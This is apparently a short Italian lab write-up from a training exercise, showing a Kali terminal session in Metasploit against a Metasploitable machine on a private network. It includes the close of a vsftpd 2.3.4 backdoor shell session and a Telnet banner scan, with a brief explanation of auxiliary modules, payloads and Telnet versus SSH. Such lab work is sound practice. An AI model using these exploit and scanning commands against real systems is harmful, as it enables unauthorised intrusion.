

dan@Kali: ~

```
vnc.log
mkdir Hello
ls
Desktop
Hello
reset_logs.sh
vnc.log
stop
stop: Job not changed: rc2
exit
[*] 192.168.1.149 - Command shell session 1 closed.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > back
msf6 > search telnet_version
```

#	Name	Disclosure Date	Rank	Check	Description
0	auxiliary/scanner/telnet/lantronix_telnet_version		normal	No	Lantronix Telnet Service Banner Detection
1	auxiliary/scanner/telnet/telnet_version		normal	No	Telnet Service Banner Detection

```
msf6 > use 1
msf6 auxiliary(scanner/telnet/telnet_version) > wiew options
[-] Unknown command: wiew
msf6 auxiliary(scanner/telnet/telnet_version) > show options
```

Name	Current Setting	Required	Description
PASSWORD		no	The password for the specified username
RHOSTS		yes	The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a>
RPORT	23	yes	The target port (TCP)
THREADS	1	yes	The number of concurrent threads (max one per host)
TIMEOUT	30	yes	Timeout for the Telnet probe
USERNAME		no	The username to authenticate as

```
msf6 auxiliary(scanner/telnet/telnet_version) > set rhosts 192.168.1.149
rhosts => 192.168.1.149
msf6 auxiliary(scanner/telnet/telnet_version) > exploit
```

Come nell'esercizio precedente, andremo ad "exploitare", Metasploitable, stavolta sfruttando una vulnerabilità su Telnet.

Sta volta utilizziamo un modulo ausiliario, ovvero un modulo che non prevede l'utilizzo di un payload.

Il payload è una sorta di "file" che viene iniettato nel dispositivo target dopo aver fatto l'exploit. E' la vera e propria parte malevola dell'exploit.

Telnet è un protocollo che ci permette di accedere ad un dispositivo, da remoto. Simile a programmi come TeamViewer o AnyDesk, ma molto meno sicuro.

La sua controparte più sicura è SSH.